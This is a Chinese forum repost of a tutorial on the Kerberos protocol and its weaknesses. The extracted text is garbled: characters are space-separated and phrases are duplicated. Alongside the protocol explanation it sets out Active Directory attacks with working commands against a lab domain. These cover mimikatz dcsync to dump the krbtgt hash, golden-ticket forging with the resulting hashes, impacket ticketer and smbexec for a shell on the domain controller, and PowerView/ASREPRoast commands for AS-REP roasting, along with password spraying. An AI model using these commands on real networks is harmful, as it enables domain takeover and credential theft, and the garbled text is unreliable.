搜索

[18593] 2021-07-07_干货全网最详细的Kerberos协议及其漏洞

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-07-07_干货全网最详细的Kerberos协议及其漏洞 干 货   |   全 网 最 详 细 的 K e r b e r o s 协 议 及 其 漏 洞 原 创   1 1 c c a a b   H A C K 学 习 呀   2 0 2 1 - 0 7 - 0 7 收 录 于 话 题 # K e r b e r o s 协 议   , 4 # 基 础 知 识   , 4 # 内 网 渗 透   , 2 0 D C 域 控 域 控 K D C 密 钥 分 发 中 心 ， 由 域 控 担 任 A D 活 动 目 录 ， 里 面 包 含 域 内 用 户 数 据 库 A S K e r b e r o s 认 证 服 务 认 证 服 务 T G T T G T 认 证 权 证 ， 由 A S 服 务 发 放 T G S 票 据 授 予 服 务 S T S T 服 务 票 据 ， 由 服 务 票 据 ， 由 T G S 服 务 发 送 服 务 发 送 k r b t g t   用 户 ， 该 用 户 是 在 创 建 域 时 系 统 自 动 创 建 的 一 个 账 号 ， 其 作 用 是 密 钥 发 行 中 心 的 服 务 账 号 ， 其 密 码 是 系 统 随 机 生 成 的 ， 无 法 正 常 登 陆 主 机 。
域 控 ( s e r v e r 0 8 ) : 1 9 2 . 1 6 8 . 3 . 1 4 2 s e r v e r 0 8 ： 1 9 2 . 1 6 8 . 3 . 6 8 A S - R E Q 客 户 端 向 K D C 的 A S 认 证 服 务 请 求 T G T 认 证 权 证 。 T G T 是 K D C 的 A S 认 证 服 务 发 放 的 1 、 A S - R E Q ： 当 域 内 某 个 用 户 试 图 访 问 域 中 的 某 个 服 务 ， 于 是 输 入 用 户 名 和 密 码 ， 本 机 的 K e r b e r o s 服 务 会 向 K D C 的 A S 认 证 服 务 发 送 一 个 A S - R E Q 认 证 请 求 。 该 请 求 包 中 包 含 ：   请 求 的 用 户 名 请 求 的 用 户 名 、 客 户 端 主 机 名 、 加 密 类 型 客 户 端 主 机 名 、 加 密 类 型   和   A u t h e n t i c a t o r ( 用 户 用 户 N T L M H a s h 加 密 的 时 间 戳 加 密 的 时 间 戳 ) * *     * * 以 及 一 些 其 他 信 息 。
A S - R E Q 阶 段 产 生 的 攻 击 方 式 阶 段 产 生 的 攻 击 方 式 1 . H A S H 传 递 传 递 在 A S - R E Q 阶 段 ， 是 用 用 户 密 码 H a s h 加 密 的 A u t h e n t i c a t o r ， 所 以 也 就 造 成 了 h a s h 传 递
只 适 用 于 域 环 境 ， 并 且 目 标 主 机 需 要 安 装   K B 2 8 7 1 9 9 7 补 丁   P T K 2 . 域 内 用 户 枚 举 域 内 用 户 枚 举 A S - R E Q   的   c n a m e   值 ， 当 用 户 不 存 在 时 ， 返 回 包 提 示 错 误 ， 所 以 造 成 了 改 攻 击 方 式 。 u s e r . t x t 不 需 要 加 上 @ 0 d a y . o r g ， 也 可 以 使 用 u d p
3 . 密 码 喷 洒 密 码 喷 洒 并 且 当 用 户 名 存 在 ， 密 码 正 确 和 错 误 时 ， 返 回 包 也 不 一 样 ， 所 以 可 以 进 行 用 户 名 密 码 爆 破 。 这 种 针 对 所 有 用 户 的 自 动 密 码 猜 测 通 常 是 为 了 避 免 帐 户 被 锁 定 ， 因 为 针 对 同 一 个 用 户 的 连 续 密 码 猜 测 会 导 致 帐 户 被 锁 定 。 所 以 只 有 对 所 有 用 户 同 时 执 行 特 定 的 密 码 登 录 尝 试 ， 才 能 增 加 破 解 的 概 率 ， 消 除 帐 户 被 锁 定 的 概 率 针 对 明 文 ： 针 对 n t l m   h a s h ： A S - R E P 2 、 A S - R E P ： 当 K D C 接 收 到 请 求 之 后 ， 通 过 A D 活 动 目 录 查 询 得 到 该 用 户 的 密 码 H a s h ， 用 该 密 码 H a s h 对 请 求 包 的 A u t h e n t i c a t o r 进 行 解 密 ， 如 果 解 密 成 功 ， 则 证 明 请 求 者 提 供 的 密 码 正 确 ， 而 且 需 要 时 间 戳 范 围 在 五 分 钟 内 ， 且 不 是 重 放 ， 于 是 预 认 证 成 功 。 K A S 成 功 认 证 对 方 的 身 份 之 后 ， 发 送 响 应 包 给 客 户 端 。 响 应 包 中 主 要 包 括 ： k r b t g t 用 户 的 用 户 的 N T L M   H a s h 加 密 后 的 加 密 后 的 T G T 认 购 权 证 认 购 权 证 ( 即 即 t i c k e t 这 部 分 这 部 分 )   和   用 户 用 户 N T L M   H a s h 加 密 的 加 密 的 L o g i n   S e s s i o n   k e y ( 即 最 外 层 即 最 外 层   e n c - p a r t   这 部 分 这 部 分 )   以 及 一 些 其 他 信 息 。 该 L o g i n S e s s i o n   K e y 的 作 用 是 用 于 确 保 客 户 端 和 K D C 下 阶 段 之 间 通 信 安 全 。 最 后 T G T 认 购 权 证 、 加 密 的 L g o i n   S e s s i o n   K e y 、 时 间 戳   和 P A C 等 信 息 会 发 送 给 客 户 端 。 P A C 中 包 含 用 户 的 S I D ， 用 户 所 在 的 组 等 一 些 信 息 。
在 e n c - p a r t 里 面 最 重 要 的 字 段 是 L o g i n   s e s s i o n   k e y ， 作 为 下 阶 段 的 认 证 密 钥 。 A S - R E P 中 最 核 心 的 东 西 就 是   L o g i n   s e s s i o n - k e y   和   加 密 的 t i c k e t 。 正 常 我 们 用 工 具 生 成 的 凭 据 是   . c c a c h e   和   . k i r b i   后 缀 的 ， 用 m i m i k a t z ， k e k e o ， r u b e u s 生 成 的 凭 据 是 以   . k i r b i   后 缀 的 ， i m p a c k e t   生 成 的 凭 据 的 后 缀 是   . c c a c h e   。 两 种 票 据 主 要 包 含 的 都 是 L o g i n   s e s s i o n - k e y   和   加 密 的   t i c k e t ， 因 此 可 以 相 互 转 化 。 A S - R E P 阶 段 产 生 的 攻 击 方 式 阶 段 产 生 的 攻 击 方 式 1 . 黄 金 票 据 黄 金 票 据 在   A S - R E P   阶 段 ， 由 于 返 回 的   T G T   认 购 权 证 是 由   k r b t g t   用 户 的 密 码 H a s h 加 密 的 ， 因 此 如 果 我 们 拥 有   k r b t g t   的   h a s h   就 可 以 自 己 制 作 一 个 T G T 认 购 权 证 ， 这 就 造 成 了 黄 金 票 据 攻 击 伪 造 黄 金 票 据 的 前 提 ： • 要 伪 造 的 域 用 户 ( 这 里 我 们 一 般 填 写 域 管 理 员 账 户 ) • 域 名 • 域 的 S I D 值 ( 就 是 域 成 员 S I D 值 去 掉 最 后 的 ) • k r b t g t 账 号 的 哈 希 值 或 A E S - 2 5 6 值 1 . 使 用 使 用 m i m i k a t z 先 获 取 k r b t g t   h a s h ： 在 域 控 执 行
得 到 如 下 信 息 ： s i d ： S - 1 - 5 - 2 1 - 1 8 1 2 9 6 0 8 1 0 - 2 3 3 5 0 5 0 7 3 4 - 3 5 1 7 5 5 8 8 0 5 n t l m   h a s h ： 3 6 f 9 d 9 e 6 d 9 8 e c f 8 3 0 7 b a f 4 f 4 6 e f 8 4 2 a 2 a e s 2 5 6 ： d b c 5 5 f 9 f 9 2 5 d e 5 a 4 8 2 d 3 b f 5 e d e 7 d 0 d 4 6 d 4 b 1 2 1 c 0 1 b d d 9 d 0 6 b e 4 a e d 3 6 7 2 1 2 d 3 f 9 伪 造 用 户 a d m i n i s t r a t o r 执 行 ( a e s 2 5 6 ) 伪 造 用 户 a d m i n i s t r a t o r 执 行 ( k r b t g t   h a s h ) 生 成 文 件 g o l d . k i r b i 导 入 G o l d e n   T i c k e t ， 执 行 命 令 ： 获 得 域 控 权 限 注 意 这 里 格 式 只 能 是 注 意 这 里 格 式 只 能 是   主 机 名 主 机 名 . 域 名 域 名   的 形 式 ， 而 不 能 写 的 形 式 ， 而 不 能 写 i p 2 . 使 用 使 用 i m p a c k e t 这 里 使 用 k a l i ， 不 在 域 内 只 需 要 把 d n s 改 为 域 控 即 可 m i m i k a t z . e x e   " l s a d u m p : : d c s y n c   / d o m a i n : 0 d a y . o r g   / u s e r : k r b t g t " m i m i k a t z   " k e r b e r o s : : g o l d e n   / d o m a i n : 0 d a y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 8 1 2 9 6 0 8 1 0 - 2 3 3 5 0 5 0 7 3 4 - 3 5 1 7 5 5 8 8 0 5 / a e s 2 5 6 : d b c 5 5 f 9 f 9 2 5 d e 5 a 4 8 2 d 3 b f 5 e d e 7 d 0 d 4 6 d 4 b 1 2 1 c 0 1 b d d 9 d 0 6 b e 4 a e d 3 6 7 2 1 2 d 3 f 9   / u s e r : a d m i n i s t r a t o r / t i c k e t : g o l d . k i r b i " m i m i k a t z   " k e r b e r o s : : g o l d e n   / d o m a i n : 0 d a y . o r g   / s i d : S - 1 - 5 - 2 1 - 1 8 1 2 9 6 0 8 1 0 - 2 3 3 5 0 5 0 7 3 4 - 3 5 1 7 5 5 8 8 0 5 / k r b t g t : 3 6 f 9 d 9 e 6 d 9 8 e c f 8 3 0 7 b a f 4 f 4 6 e f 8 4 2 a 2   / u s e r : a d m i n i s t r a t o r   / t i c k e t : g o l d . k i r b i " k e r b e r o s : : p t t   C : U s e r s j a c k . 0 D A Y D e s k t o p g o l d . k i r b i
先 生 成 票 据 a d m i n i s t r a t o r . c c a c h e   ` ` `   p y t h o n 3   t i c k e t e r . p y   - d o m a i n - s i d   S - 1 - 5 - 2 1 - 1 8 1 2 9 6 0 8 1 0 - 2 3 3 5 0 5 0 7 3 4 - 3 5 1 7 5 5 8 8 0 5   - n t h a s h 3 6 f 9 d 9 e 6 d 9 8 e c f 8 3 0 7 b a f 4 f 4 6 e f 8 4 2 a 2   - d o m a i n   0 d a y . o r g   a d m i n i s t r a t o r   ` ` ` 导 入 票 据 然 后 在 访 问 域 控 2 . A S - R E P   R o a s t i n g 在 A S - R E P 阶 段 ， 最 外 层 的   e n c - p a r t   是 用 用 户 密 码   H a s h   加 密 的 。 对 于 域 用 户 ， 如 果 设 置 了 选 项 ”   D o   n o t   r e q u i r e   K e r b e r o s e x p o r t   K R B 5 C C N A M E = a d m i n i s t r a t o r . c c a c h e p y t h o n 3   s m b e x e c . p y   - n o - p a s s   - k   O W A 2 0 1 0 S P 3 . 0 d a y . o r g
p r e a u t h e n t i c a t i o n ” ， 此 时 向 域 控 制 器 的   8 8   端 口 发 送   A S _ R E Q   请 求 ， 对 收 到 的 A S _ R E P 内 容 ( e n c - p a r t 底 下 的 c i p e r ， 因 为 这 部 分 是 使 用 用 户   h a s h   加 密 的   L o g i n   S e s s i o n   K e y ， 我 们 通 过 进 行 离 线 爆 破 就 可 以 获 得 用 户 h a s h ) 重 新 组 合 ， 能 够 拼 接 成 ” K e r b e r o s   5 A S - R E P   e t y p e   2 3 ” ( 1 8 2 0 0 ) 的 格 式 ， 接 下 来 可 以 使 用 h a s h c a t 对 其 破 解 ， 最 终 获 得 该 用 户 的 明 文 口 令 ， 这 就 造 成 了   A S - R E P R o a s t i n g 攻 击 。 默 认 这 个 功 能 是 不 启 用 的 ， 如 果 启 用 A S - R E P 会 返 回 用 户 h a s h 加 密 的 s e s s i o n k e y - a s ， 这 样 我 们 就 可 以 用 j o h n 离 线 破 解
使 用 E m p i r e 下 的 p o w e r v i e w . p s 1 查 找 域 中 设 置 了   " 不 需 要 k e r b e r o s 预 身 份 验 证 "   的 用 户 使 用 A S R E P R o a s t . p s 1 获 取 A S - R E P 返 回 的 H a s h I m p o r t - M o d u l e   . p o w e r v i e w . p s 1   G e t - D o m a i n U s e r   - P r e a u t h N o t R e q u i r e d I m p o r t - M o d u l e   . A S R E P R o a s t . p s 1 G e t - A S R E P H a s h   - U s e r N a m e   j a c k   - D o m a i n   0 d a y . o r g   |   O u t - F i l e   - E n c o d i n g   A S C I I   h a s h . t x t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理